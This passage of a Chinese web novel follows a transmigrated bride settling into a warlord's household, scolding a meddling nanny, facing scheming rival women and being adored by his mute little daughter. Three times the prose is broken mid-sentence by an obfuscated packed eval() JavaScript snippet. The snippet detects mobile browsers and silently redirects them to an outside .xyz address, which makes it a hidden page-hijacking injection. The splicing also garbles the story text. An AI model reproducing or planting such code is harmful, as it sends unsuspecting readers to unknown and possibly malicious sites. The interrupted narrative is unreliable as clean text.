瞅着小萝卜的模样,宓瑶怀疑她洗澡泡的羊奶里面有什么吸引孩童的东西,不然无法解释小萝卜怎么就黏上了她,而且还黏得那么厉害。
明明她也没表现出什么善意。
萧善不想走,宓瑶又不想听孩子的哭声,就勉强把人留了下来。
幸而小丫头吃饱就犯困,萧翼他们没走一会,她就成了啄米小鸡,头不停往下点。
确定人睡着了,宓瑶让霜华赶快把人送出了厢房。
“大哥,你说母亲喜欢善儿吗?虽然善儿没有说话还哭了,但她没有生气,还给善儿拿了点心。”
把萧善单独留在宓瑶屋里兄弟俩坐立不安,幸好没过一会,宓瑶的婢女就把萧善送回了他们身边。
萧良趴在床边,脑袋眼睛来回转动,确定自个妹妹跟刚刚没有什么不一样,闭着眼睡得安安稳稳,才松了口气,朝大哥问道。
“夫人看起来不像是恶人。”
萧翼回想宓瑶刚刚对他们三人的态度,心稍稍安定,若是宓瑶对他们表现不喜他会不安,对他们太过热情,他也会忧虑她是不是佛口蛇心,面上不嫌他们累赘,但会偷偷对他们下手。
宓瑶对他们不亲热,但会因为身边人对他们不客气而训斥身边人,明明不耐萧善的亲热,却能拿糕点哄她,不是让下人直接把她带走。
他们的未来继母看着不坏,应该不会如旁人胡说那般下手除了他们,给她的孩子腾位置。
听到大哥说宓瑶不是恶人,萧良放心地笑了起来:“那就好了,善儿喜欢的人都不会是恶人,善儿就不喜欢马阿婆。”
他原本听了马家阿婆的话吓得几夜睡不着,怕要来的母亲会嫌他们多余碍眼打骂他们,还会嫌妹妹不会说话,趁着旁人看不见用针扎妹妹。
是哥哥跟他说,阿爹不会娶坏人欺负他们,不要听马阿婆吓人,他才没那么害怕。
现在见到宓瑶他更不害怕了。
她看起来那么好看,闻起来也香香的,妹妹抱着她哭她也不生气,还拿点心给妹妹吃。
想到点心,萧良看着桌上散发着香味的食匣,咽了咽口水:“大哥,我可不可以吃一口妹妹的点心?”
“想吃就吃一些,夫人本来就是拿给我们吃的,多给善儿留一点就好。”
萧翼说完,不忘提醒弟弟:“夫人还没有跟阿爹成婚,所以不可以叫她母亲,你与我说可以,但别在她面前叫她,免得惹得她觉得你不懂规矩。”
“嗯嗯!”
萧良嘴里塞了糕点,怕张嘴说话点心碎屑喷出来,捂着唇用力地点了点头。
母亲那么漂亮还不打人,还给他们那么好吃的糕点,他一定乖乖守规矩,让母亲觉得他是多余的累赘,是个讨人喜欢的乖孩子。
8. 第八章
“小娘子如此亲近娘子,定能让萧镇使开怀。”
对于萧善的亲近,宓瑶身边嬷嬷十分满意,“往后娘子会有自己的孩子,不过二郎和小娘子是镇使亲大哥的遗孤,娘子大度善待他们,旁人也会道一句宽厚。”
宓瑶本以为送走了小萝卜,她就能在安静的环境里安稳地躺着。
谁知道刚关上门,罗嬷嬷的嘴巴就张合不断。
点评完了小萝卜,她就开始说大萝卜:“萧大郎是镇使收养的养子,无父无母,年岁又大了有了自个的小心思,娘子待他面子过得去就行了。找机会娘子应该把他跟二郎和小娘子隔开,别让他说些什么带坏了二郎和小娘子,让他们跟娘子生分。”
见她没个停,教完她如何排挤萧翼,又开始念府里有多少下人,有谁需要注意笼络。
宓瑶听着腻烦:“你把旁人说完了,也该说说自个了,在你看来我该如何待你?”
原主的院子里原本有四个丫头,一个奶嬷嬷。
临出嫁前,原主的继母李氏找借口机会换了原主的嬷嬷,塞了罗嬷嬷到她院里。
之后又给原主的大丫头配了婚,换了一个诗雅过来。
晓得李氏的安排是虞家家主的意思,她无所谓来人是谁,反正她都没打算听话委屈自己就是了。
路上罗嬷嬷还算安静,宓瑶就当她不存在,但现在罗嬷嬷啰嗦,她便把眸光对向了她。
“你是我何人,我何须你教我做事?”
宓瑶第一声发问,罗嬷嬷就听出了她的不满,脸上的笑容滞了滞,就听到了她紧接着训斥。
宓瑶不悦的嗓音在屋内响起,诗雅抿了抿唇,往后退了半步。
她到宓瑶身边后,就发现宓瑶看着凡事都不上心,像是没有性子,实际上只是懒得计较与她享乐无关的事。
就像是她刚到宓瑶身边时,嫌宓瑶每日娇养皮肤麻烦,打量她脾气好,在伺候上不尽心,宓瑶发现之后每日让她抬着盆子站一个时辰,说是训练她的力气,免得主子用她伺候时她力弱抬不起手。
她去李氏那里告状也无用,主子罚不听话的丫鬟天经地义,李氏就算在宓瑶面前提点两句,宓瑶当做没听见李氏也没有办法。
那次之后,她就意识到了宓瑶只是看着面软。
她还特意跟罗嬷嬷说过这事,偏偏罗嬷嬷不信,说宓瑶是欺负她年岁小不懂事,才故意立规矩吓她。
现在看吧。
宓瑶明明谁的面子都不给。
“娘子远嫁,二夫人特意从大夫人那儿要了我到娘子身边,就是怕娘子年轻不知事,让老身在旁提点周全。”
“你倒是聪明,知道只是用夫人压不住我,又添上了我大伯母,想用家族压我。”
宓瑶唇角翘了翘,“不过那又如何?大伯母站在我面前,她是长辈我会客气一二,你在大伯母院里再说得上话,也只是一个家养的奴才。罗嬷嬷,你身契既在我手里,就别想当我的主子教我做事,我觉着烦了,对你又有什么好处。”
原主她爹对女主还是念几分父女亲情。
虞家家主原本打算在她出嫁的队伍里多安插一些虞家人,往后说不定有用得到的地方。
但在她出嫁前,原主她爹去要了罗嬷嬷一家的身契,暗底下的他不管,但至少明面上自个女儿能完全拿捏身边的下人。
看出宓瑶是真不怕她向虞家告状,罗嬷嬷咬牙:“娘子眼光太浅太窄,萧镇使娶娘子,除却娘子貌美,还因为娘子虞家女的身份,娘子这般行事让使君与大夫人知晓定然心寒,娘子与虞家感情淡了,虞家又如何成为娘子的依仗,何况老身句句都为娘子着想,又不是在害娘子,娘子何必把我当做坏人仇视!”
罗嬷嬷说完宓瑶只是淡淡扫了她一眼:“出去吧,听见你声音我心烦。”
这比动气还让罗嬷嬷觉得挫败,她真不懂宓瑶是如何想的,作为一个女娘,怎么会自个断自个势,不把娘家长辈放在眼里。
“娘子会后悔的!”
“你若是再说,我以往后不后悔尚且不论,你自个先想想你这个年纪被发卖出去能去什么好地方。”
见罗嬷嬷还在歪缠,宓瑶蹙眉,直接堵了她的话,“只此一次,还有下回,你就只能乞求能遇到心善的下家。”
被宓瑶的警告吓到,罗嬷嬷再多不甘也只能闭了嘴。
罗嬷嬷一出去,诗雅就跪倒在了宓瑶面前。
“奴婢与罗嬷嬷不同,奴婢到娘子身边后,就知道奴婢往后的主子只有娘子一个,奴婢对娘子忠心无二,绝不会如罗嬷嬷一般,说一些让娘子不高兴的话,还说是为娘子好。”
听出诗雅在猛踩罗嬷嬷来展示自己的不同。
宓瑶绷不住笑了一声。
“起来吧,只要甭烦我,不要给我惹事,忠不忠心没什么所谓。”
她无意费脑子想什么御下之策,甚至罗嬷嬷要不是在她面前念叨试图操控她,罗嬷嬷要是自个安安静静的在萧府发展势力,她都懒得开口威胁罗嬷嬷。
只要不饿着她,烦着她,作为一个没脑子的花瓶娇妻她好说话的很。
宓瑶说这话时,扫了屋中剩下几人,霜华知道宓瑶是连着她们一起提点,连忙应是。
只是宓瑶越让她们不必忠心,她们越觉得这是在说反话试探她们。
罗嬷嬷是大夫人的人,都只有一次机会,她们这些丫鬟可不是出错一次就直接发卖。
*
“这个虞女真是稀奇,来的第一件事是发落自个的下人,让得力的嬷嬷与自己离心。”
宓瑶到了益州之后,马阿婆时刻盯着萧家的动静,知晓宓瑶带来了个厉害的嬷嬷,半天不到就把府邸的下人聚集筛了一遍,还担心来的这个虞家女太有本事。
谁想到几个时辰过去,萧府就传来宓瑶责骂嬷嬷多事,发落了嬷嬷。
只是不让嬷嬷揽权,也不见虞女有什么动静,一日下来就在待在厢房里,什么地方也没去,什么人也没见。
“你说她这是因为还没跟欻小子成亲,所以故意发落自个的嬷嬷给萧府的下人看,装作和善大度,还真没有脑子。”
马阿婆想不明白,干脆朝自己儿媳问道,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15584024|171644||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“还有萧善那个没嘴巴的死丫头,平日里我对她又笑又哄,连抱都不让我抱,如今却抱着虞家女不放,真是个白眼狼马屁精!”
“年岁小的孩子最懂看大人脸色,萧二郎有了年岁,有时你话说得难听,也晓得敬你是长辈会装样子,萧小娘只是不知事装不出来罢了。”
潘氏这几日夜夜做梦,白日精神不好,平日听到婆婆抱怨,她还会安慰几句,今日就直接说了实话。
“你不是真心喜欢萧小娘,她自然不亲近你。”
“小丫头片子知道什么真心不真心!我看那个虞家女一定用了什么花招,才让那个死丫头抱着她不放。”
马阿婆怕虞家女得了萧家孩子们的喜欢,让萧欻高看信任,絮絮叨叨骂了半天,见潘氏扶着头不接话,觉得没趣哼唧了几声,去了还在懒床的女儿房里。
婆婆走了,潘氏揉了揉头,开始仔细思量自己梦中的内容。
刚开始梦到萧欻得了天下,成了最至高无上的那位,她只觉得梦里的一切是没有道理的幻梦,但随着每日做梦,并且梦中的事物越来越具体,她就意识到她梦到的是来日的命数。
她怎么都没想到最后走的最远的会是萧欻。
潘氏眉头紧皱,实在不懂自己为什么每次都能押错宝。
她父亲是赵天赫心腹,父亲为赵家办差殉职后,赵天赫收了她为养女。
到了嫁人的年纪,她在身边的男子中选择,选项停在了马松平和萧欻身上。
论相貌她当初更属意萧欻,可萧欻不懂如何讨好女子,与她只是有话说话,让她每次亲近都像是热脸贴冷屁股,而马松平则懂说笑话逗她,还会送礼讨她欢心。
加上那时马松平看着更得赵天赫重用,她就拒了萧欻选了马松平,但谁想到马松平是个短命的,他们成亲一年不到她就成了寡妇。
有赵天赫当靠山,她自是要再嫁。
女人二嫁如再次投胎,相比于年少时懵懂无知,她思考了许久再嫁的人选。
萧欻依然在她的考虑之中,但见他被赵天赫收为养子,赵天赫却未给他赐赵姓,觉得他进不了赵氏权利核心后,她就把目光放在了跟赵天赫有亲缘关系的赵氏子弟身上。
想到梦中她选择的男人与萧欻敌对,没有几个来回就被萧欻剿灭势力,而她被迫逃窜最后只能凄惨地在草棚病死。
潘氏咬紧了唇,老天既然给了她这个机会,就是让她看清局势,选择最有力的大树栖息。
她之前没有选择萧欻,而现在选他依然不晚。
梦中虞女另有所爱,嫁给萧欻后把萧欻当做仇敌,折磨萧家孩子,最后落得个千刀万剐。
这样的女人就是出身高贵,相貌出众又有何惧,梦中只是她压错了宝没有把心神放在萧欻身上,如今她愿意争夺,虞氏根本配不上当她的对手。
萧家那几个孩子虞女弄死便弄死了,特别是最后被萧欻当做继承人培养的萧翼,适时她还会帮虞女加把火。
多余的人消失干净,她跟萧欻生下的孩子才能前路坦荡,她才能成为这世上最尊贵的女人。
9. 第九章
身旁没了烦人的碎念,宓瑶自在许多。
只是她这份自在到了晚上又遇到了波折。
用过晚膳后,宓瑶随意在府里走了两圈散步,就打算继续看她没看完的闲书。
听到门扉有动静,还以为是霜华她们,等到感觉有人站在床边,转眸一看就看到了穿着红袄子戴着貂绒帽,盯着她瞧的白胖小萝卜。
宓瑶:“……”
她特意伸长脖子往外看了一眼:“你的奶嬷嬷呢,怎么大晚上让你乱跑?”
没有扮演贴心好继母的想法,她来了之后,直接让人收拾了萧家的小厨房,吃饭与萧家几个孩子分开用膳。
期间萧善也没有来找她,她还以为小萝卜风波已经结束了。
谁知道到了睡觉时辰她又跑了过来,而且明显还是瞒着她的哥哥们偷偷跑来。
萧善利落地爬上了宓瑶的床,把自己塞进棉衾后,小短手抱在宓瑶腰间,撞进了她的怀里。
宓瑶低眸看向埋进她怀里,被柔软惊到,欢乐磨蹭的小脑袋。
真是一肚子话不知道从何说起。
她爱惜自个新身体的时候,想过萧欻是天生寡王身体有缺陷不愿跟女人亲密还好,要是她不像原主那样仇恨他,他按常规跟她洞房了怎么办。
娇嫩白皙的皮肤,凹凸有致的软肉不就全便宜他。
虽然知道当娇妻总要付出些代价,但她依然觉得别扭,偶尔会思考如何避免两人亲近。
后面见了萧欻本人后,她对他的长相和身体条件都算满意,被人占便宜的反感就淡了许多,只当做互相占便宜。
面对会供给她吃喝的人她都那么斤斤计较,如今小萝卜肆意占她的便宜,她是不是更要把账算清楚?
宓瑶捏住了萧善不停往她胸上蹭的脸蛋。
“我被你吓的今夜都没用羊乳洗脸,你怎么还来粘我?”
萧善仰着头,茫然地看着宓瑶,把她的肢体碰触当做了亲近,露出小白牙头靠在她手背上继续磨蹭。
孩童的脸蛋比嫩豆腐的触感还特别,粉嫩柔滑,带着点韧劲,又软绵的让人爱不释手。
“好了,怎么跟只小狗似的。”
怕萧善脸嫩自己捏坏了她,宓瑶不敢用力,捏了一下就松开了手。
“所以到底是为什么?我一没有主动要抱你,也没有朝你露出笑脸,你为何喜欢我?难不成这是我金手指,那这个金手指也太没用了点。”
宓瑶把小萝卜从身边抱开,把她放在了被衾上,面对面观察她的表情。
她想知道萧善为何亲近她。
但坐在她对面笑容灿烂蠢气的小丫头才三岁,而且还不会说话,她就是摆出凶狠的态度审问也问不出什么。
“你来找我是因为我有好吃的点心?”
要是想吃点心好办,她一路悠闲趁着冬日食物能久放,买了不少各地口味不错的小食。
连食方都买了几个让厨子研究。
可惜小萝卜点头又摇了摇头,一把抱住她的脖颈蹭了蹭。
小萝卜不会说话,这番举动下,宓瑶也看得出小萝卜的意思是想吃点心,但来找她是为了她,在小萝卜心中她比点心重要。
“所以到底是为什么?”
宓瑶低眸打量小萝卜的模样与衣着,萧家的奶嬷嬷看孩子不够尽责,但照顾孩子的穿衣卫生还算认真。
白日和现在小萝卜身上穿得都是材质上等的绸缎,身上嗅着也软软香香,明显萧家下人可能会因为小萝卜没娘怠慢她,但不敢做到刻薄虐待。
这更让她不明白了,也不是受罪求救,所以就是单纯喜欢她?
“该不会是你哥哥们怕你惹了继母不开心,在你面前光吓你,你年纪小不懂,怕我怕到用这种方法讨好我?”
没有准确的线索,宓瑶只能搂着萧善圆滚滚的身体胡乱猜测。
她记忆力不错,所以明确的记得书里面原主不喜欢萧欻的三个孩子,三个孩子也怕她避着她。
书里面没有描写过萧善黏原主的剧情。
“娘子在与我说话?”
霜华在旁侧的耳房收拾东西,听到屋内有声音,进门一看就见到了床上的被衾鼓起,宓瑶怀里多了一个小人。
“小娘子怎么来了?”
“自个走过来的,看样子是嬷嬷给洗了脸和脚,进被窝后又偷偷跑出来。”
“奴婢是把小娘子抱回去,还是跟小娘子的奶娘说一声,等小娘子睡着了再说?”
霜华见宓瑶不像排斥萧善,隐隐还有点喜欢,觉得奇异的同时又觉得安心。
往常主子喜欢桓郎君,后来不喜欢了,人也变得冷漠许多,现在对萧小娘子和善,看着就有了几分活人气息,让她们这些贴身伺候的人在她面前也能稍稍放松。
“你去说一声,睡了再说。”
大晚上宓瑶不想听孩子哭闹,吩咐完霜华,瞧向小萝卜:“你在我这里睡觉可以,但别尿床,要是尿了往后你再怎么赖皮,也别想让我再让你上床。”
萧善听懂了不要尿床以及要睡觉了,点头在宓瑶身边躺平,一副我超乖的模样。
宓瑶不想跟她互动,就拿起了书。
看了几句文字,余光扫过旁边,见萧善还睁着眼看她,只是眼皮微垂,闭眼的时间越来越长,忍不住轻笑了声。
这个入睡速度也太省事。
“阿姊竟然真把那小丫头留下了,也不知道阿姊怎么想的,一个不会说话小丫头,就是讨好地抱着她不放,她就心软了!”
听到萧善又来找了宓瑶,而且宓瑶还让人上榻睡觉,虞琇不满地说道。
是姐夫亲生的孩子就算了,又不是亲生血脉何必那么纵着。
霜华不敢接虞琇的话,虞琇抱怨的无趣,正巧看到了萧善的嬷嬷来寻人,怒目道:“连个孩子都看不住,让她动不动就往我阿姊这里跑,我看你私底下必定是仗着小娘子不会说话欺负了她,要不然她怎么会这样。”
得知妹妹乱跑,萧翼也出了房门寻人,听到虞琇那么说,顿了顿脚步,看向妹妹的嬷嬷。
他们兄妹三人住在一个院子,萧良和萧善还小,各有一个贴身照顾的嬷嬷,二弟没说过他的嬷嬷对他不好,但善儿不会说话,就难知范嬷嬷私下对善儿是什么样子。
“姨娘子我冤枉啊,我平日照顾小娘子尽心尽力,方才我只是去了趟茅房,谁知道小娘子就来了夫人这里,想来是小娘子亲近夫人,才无时无刻都想见夫人。”
“我阿姊眼里可揉不得沙子,不管你以前如何,现在都需尽忠职守,再有下次,看我阿姊怎么罚你。”
瞧见萧翼在一旁,虞琇还记得他害她被宓瑶斥责,白了他一眼:“你想找你妹妹就去我阿姊屋里要人。”
虞琇是想萧翼去闹
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15584025|171644||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
宓瑶,好让宓瑶知道萧家这几个孩子讨厌,但萧翼年岁小性子却沉稳,知道宓瑶不会伤害妹妹,就没有去找人而是转回了住处。
*
宓瑶什么时候睡着的不知道,但醒来却是被压醒的。
睡眼惺忪地摸了半天胸口上的肉团子,宓瑶闭着眼小心地把肉团放在了旁边。
过了片刻,宓瑶缓过来猛然睁开眼,往旁边一看,果真是昨晚已经抱走的萧善。
她明明记得萧善在她床上睡着没多久就被抱回了住处,怎么又过来了。
瞧了眼还没完全亮起来的天,她也懒得再叫人把她抱走,大方分了她一小块床铺。
这次萧善不见,范嬷嬷一发现就发现闹了起来。
宓瑶住处有守门的粗使,才没让她闹进厢房附近吵醒宓瑶。
霜华听说范嬷嬷把两个郎君都叫醒了,不禁觉得这嬷嬷太蠢,昨夜萧善往宓瑶的房里溜过一次,清晨不见很可能也是来找宓瑶。
发现人不在就该悄声来厢房问一声,怕自个犯错惹事,把小主子们闹醒跟她一起担忧,真不知道是来当奴才的还是来当主子的。
打发走了范嬷嬷,霜华去房内看了趟,见宓瑶与萧小娘子睡得正香就没有打扰。
等到白日宓瑶醒来,用完了早膳,她才在旁说了这事。
宓瑶晨起第一餐一般没什么食欲,但旁边坐了个吃什么都香的小萝卜,她也比往常多吃了两口。
原本情绪还算舒缓,听到霜华的话,她就觉着烦心起来。
“萧家就没有管事?”
“府邸的仆人一共有十九人,没有管家,平日里下人有了什么纷争,都是账房兼管,给他们评断对错。”
一个要成就霸业的男主,家里面那么乱七八糟,怪不得原主把孩子折磨死了他才知道。
宓瑶根本没有想过萧府没有管事这件事,一时间后悔起对罗嬷嬷太强硬。
这摊事放在罗嬷嬷身上定然乐意掌权,但换到她身上,她只想当万事不过心的娇妻。
宓瑶目光划过屋内的几人,最后落在吃饱了乐呵呵地看着她的小萝卜身上。
小萝卜脸长得肉呼,加上冬厚重,她原本以为小萝卜是个肉团子。
但在床榻上摸了摸去,她就发现小萝卜不瘦也绝对算不上胖,手腕的骨头上就软软一层肉。
要么就是这个小萝卜天生长不胖,体型如此,要不就是小萝卜在她这儿胃口好,平日里却没怎么好好吃饭。
“我若给你换个合心的嬷嬷,你往后就不来烦我如何?”
宓瑶凑近小萝卜,提出交换条件。
而小萝卜明显没理解她的意思,眼眸眨了眨,靠近宓瑶用自己的脸蹭了蹭她的脸。
柔嫩的脸蛋带着与她身上相似的气味。
不止是脸,因为在她床上睡了半晌,小萝卜全身都是她喜欢觉得好闻的味道,让她越来越不排斥小萝卜的亲近。
意识到这点,宓瑶怔了下,就当小萝卜是没同意。
所以等到萧翼他们来请安时,她朝萧翼道:“多瞧着你们的妹妹,若是下人伺候的不尽责,就告诉你们阿爹让他来处理。”
说完也管善姐儿会不会哭,就让萧翼他们把人抱走。
只是她不打算往自个身上揽责,那蠢嬷嬷却撞上门来,觉得自个委屈,想让她把错怪在善姐儿身上,还忠仆一个清白。
10. 第十章
范嬷嬷来时,宓瑶正在接待客人。
听到萧家没有管事,她就猜到了她少不得要见跟萧家关系不错的女客。
所以见马家母女没有任何通传,一路畅通地从萧家大门走到她的厢房她也不觉得奇怪。
她还未跟萧欻成婚,没住内院,而是住在正院的西厢房。
前两日一到住处,她就看出来了一些东西,她住的厢房不小,打扫的干干净净却没有什么摆设。
除了床就搁了一扇褪色的花鸟屏风。
屏风看着陈旧,但却是紫檀木做的骨架,想来为她打整住处的人,是想要入住的人觉得屋子简陋,却见识有限,不懂什么是好东西。
等看到萧翼他们三个都穿着上好的缂丝袄子,脖子上挂着金灿灿的项圈,她就更确定厢房床上那床厚重颜色陈旧的鲁绸棉被,是有人故意让她觉得怠慢想惹她生气。
而会做这样事情的人,总不会是府里领月钱的下人,只能是在萧欻面前说得上话,又不欢迎她到来的人。
触到马家母女挑剔打量的目光,还有马家娘子精心打扮的模样,她甚至连她们不欢迎她的原因都明白了。
男主可以是寡王,但身边总不可能连一个对他青睐的小娘子都没有。
马阿婆知道虞女貌美,可没想到会漂亮到这份上。
为了摆足架子,她还特意挑了虞女午睡刚醒的时辰,她和她女儿今日都穿了最好的衣裳,戴上了最华丽首饰。
但衣裳带来的贵气放在真正的贵人面前都落了一筹。
待客的小厅烧了几个炭盆,宓瑶穿了件淡紫底白玉兰交领长袄,下着同色罗裙。
身上穿得淡雅,宓瑶身上也没佩戴什么贵重首饰,只是坠马髻上簪了一只刻白玉兰花样的玉簪。
她这一身看不出多奢贵,但就是透着跟旁人不同的精致。
在加上她那张不需要任何修饰便莹莹发光的脸,简直就像是说书先生嘴里的狐狸精。
马阿婆看着尚且愤然,打算嫁给萧欻的马小娘子更是火冒三丈。
“你怎么这个打扮待客!我和我娘为了来见你,可是细心挑选了衣服首饰,你不是出身名门怎么还没我们有礼?!”
听出马小娘子刻意找茬,宓瑶柔声挡了回去:“我们名门待客就是如此穿着。”
“怎么可能是这样?”
哪怕她见的贵女不多,也知道贵女架子足,不会只穿家常服见客。
宓瑶捂嘴轻笑:“这让我如何解释,若是马小娘子也出身名门就应该懂了。”
她笑的收敛,但旁边的虞琇则是直接笑出了声。
马小娘子知道宓瑶是在嘲讽她,气得满脸涨红,听到虞琇的笑声,便把矛头指向了她。
“你这丫头笑什么笑!”
“马家娘子,我脖子上佩的祖母绿可比你那一头东西都要贵重,你连主子丫头都分不清,哪能看懂我阿姊的打扮。”
虞琇在宓瑶面前绷紧了皮,但不代表她在外头也觉得自己是个丫头。
哪怕是庶女,她也是虞家的庶女,马家母女这般的人,在江南时也只配低声下气地与她说话。
“既是客人就该谨记为客的规矩,装模作样挑主家的毛病,只会更显得你出身摆不上台面。”
“你这样小娘子说起来没个完了,欻小子出身如何,我们母女就出身如何,欻小子都敬我是长辈,你难不成连这府邸的主人也看不上!”
“就是,我哥与欻哥哥是好兄弟,欻哥哥一直以来也待我不同,我们马家跟萧家的情分,不是随便来个女子就能破坏!”
母女俩一句接一句,虞琇瞧不上她们,但又怕她们真与萧欻感情深厚,自己会给宓瑶惹祸。
见她气弱,马家母女更是气焰高涨。
“这萧府往常欻哥哥都是交给我们管,待我娘就像是待亲亲的长辈,你们这般嚣张,等我欻哥哥回来知道了,看他不打死你们。”
“我不是随便来的女子,我是萧郎求娶的娘子,至于往后谁来管理萧府,我信萧郎龙章凤姿,不至于在这事上犯蠢,往后上门做客,马阿婆与马娘子还是请人通传一声,这等礼节不需要出身名门也能明了。”
说到最后一句,宓瑶顿了顿,似笑非笑道,“至于打死我,等萧郎为你们打死我,你们的姿态再摆给下一个入门的也不迟,我现在活着,怎么也轮不到夫家姓马不姓萧的长辈在我面前嚣张。”
忙着在荆州消化吃下的地盘,萧欻几日没合眼,本想回府后先睡一日,再出现完成与宓瑶的婚事,谁想到他路过前厅,正好听到龙章凤姿。
知道他此时出现他,少不得要被吵一阵耳朵,他本想离开,但走之前正好见着照顾善姐儿的范嬷嬷哭哭啼啼往这个方向走,脚步顿了顿。
“怎么回事?”
低沉的男声倏然冒出,见原本没人的太湖石边上多了一道黑色高大的声音,范嬷嬷吓得坐在了地上。
“你这蠢奴,镇使都认不出来!”
濮青见面前老媪怕的往后退,大喝一声,叫出了萧欻的身份。
他这一声不止让范嬷嬷停下了步子,屋内几人听到动静,推门涌了出来。
门一开,冷风灌入,宓瑶不舒服地蹙了蹙眉,听到马娘子惊喜地叫了两声欻哥哥,才不情愿地披上大氅走向门口。
萧欻明显是才到的益州,身上的黑裘遮了半张脸,一身风尘仆仆,离得远她都能瞧见他发红的眼眶。
宓瑶实在不愿意站在门外吹冷风,与萧欻对上眼,便开口道:“郎君进来喝杯热茶?”
“哎呦,这是怎么回事,怎么哭成这样了?!”
马阿婆见萧欻视线落在宓瑶身上,猛拍了一下大腿,指着范嬷嬷让所有人看,“可是受了什么委屈,萧镇使在这里你还不快快说来,你是照顾善儿的嬷嬷,若是你受了委屈跟善儿受了委屈有什么区别!”
马阿婆没想到那么凑巧,萧欻竟然会在这时候回来,连忙催着范嬷嬷告状。
“就是,范嬷嬷你受了委屈一定要跟欻哥哥说清楚,让欻哥哥给你做主!”
听到马阿婆称萧欻萧镇使,而不是刚刚在花厅中的欻小子,宓瑶觉着有些好笑,脸上便带了几分笑意。
“马家阿婆娘家姓范?”
瞧出范嬷嬷与马阿婆五官有几分相似,宓瑶开口问道。
“你问这个做什么?”
听到宓瑶询问,马阿婆眼里闪过慌乱,但仔细想了想她跟范嬷嬷是亲戚又如何。
她怎么就不能介绍自个亲戚做萧善嬷嬷。
“瞧你们长得像,随意问一句罢了。”
说完,宓瑶见萧欻不像有进屋喝茶的打算,而她实在受不了屋外的寒风,便朝他福了福身:“郎君既然回来,待客之事我这个未嫁之人不好越俎代庖,便先避开了。”
说完转身既走,背影潇洒,没有半分留恋。
马家母女没想到她会这样就走了,一时茫然,也不知道该出声留她,还是庆幸
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15584026|171644||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她没在旁碍眼,让萧欻贪恋美色偏心。
收回目光,萧欻看向范嬷嬷:“善儿可有事?”
萧欻目如鹰隼,被他凝视,范嬷嬷就觉得自己是犯了大罪的犯人,不敢啰里啰嗦,连忙道:“镇使放心,小娘子无事。”
听到女儿没事,萧欻看向马家母女:“我赶路疲惫,阿婆若是有话可与我长随交代。”
留下濮青理事,萧欻大步流星,哪怕马娘子在后呼唤,也没顿下半步。
马娘子躲了躲脚:“欻哥哥心魂都被那个狐狸精勾去了!”
“马娘子慎言,镇使去休歇与旁人没有关系,若是马老夫人无事交代,濮青便送客了。”
“谁说我无事,我家虎头还在跟萧小郎一同玩乐,等他们兄弟玩尽兴了我们在走。”
“二弟早上没休息好,如今正在睡觉,虎头弟弟敲了几次门没叫醒二弟,已经带小厮跑出了府邸。”
萧翼见到马虎到他们院子闹腾就觉得不好,让萧良抱着萧善锁紧门装睡后,他也没理马虎,等人觉着无聊气走了,知道马家母女来找宓瑶他才匆匆赶来。
只是他来得太晚,宓瑶已经走了,他还错过了跟归家的阿爹请安。
“怎么能让虎头跑出去,那么冷的天他受冻了怎么办!你都那么大了连弟弟都看不住,你是不是见我家虎头跟萧小郎亲如手足,心中嫉妒故意将我家虎头气走!”
马阿婆看不上萧翼这个无父无母的孤儿,一心想让自己孙儿跟萧良玩在一块。
但萧良不知道怎么回事,真就把萧翼当做亲兄长,跟他说了萧翼是捡来的孤儿也没用,就是听萧翼的话。
“他再大也只用看自己的弟弟,看你家孩子算怎么回事。”
虞琇怕马家母女在萧欻面前乱说,借口回花厅拿东西返了回来。
见萧欻不在,本想走了,就听到马阿婆张嘴乱啸,而让她吃过瘪的萧翼低着头,一副任骂的模样。
觉着他没出息,虞琇看不过眼哼了一声:“在自个家被旁人骂,一点主人家的样子都没有,怪不得别人敢那么欺负你。”
“你这小娘子,长辈说话你插什么嘴!”
知道宓瑶不把马阿婆当回事,虞琇自然不惯着她:“按着你的道理,只要是年岁大的人都是我的长辈,都可以抬着架子训我?”
“谁说你了,我是在说萧大郎!”
马阿婆怕了虞琇的嘴巴,她还以为什么名门贵女都是讲规矩,客客气气,谁想到虞家姐妹俩都是这般。
对人半点不客气。
“他小小年纪懂个什么,你觉得他做得不好要训他,去找我姐夫去,让我姐夫听听你是如何为了你的孙子,骂他儿子不懂事。”
“马老夫人,马娘子,你们请吧。”
马阿婆训斥大郎君,濮青听着也不顺耳,但他是家奴,马家母女怎么也是客人,他不方便开口。
正好虞琇出现解了围。
孙子不在,主人家又没空待客,马家母女只能不甘走了,马阿婆临走时朝范嬷嬷使了使眼色。
虞琇见着哼了声,只是她还没开口。
就听到萧翼朝范嬷嬷道:“嬷嬷不照看善儿来这里做什么?若是你觉得照看善儿费神觉得委屈,等我阿爹有空我就跟他提及,让他换了你。”
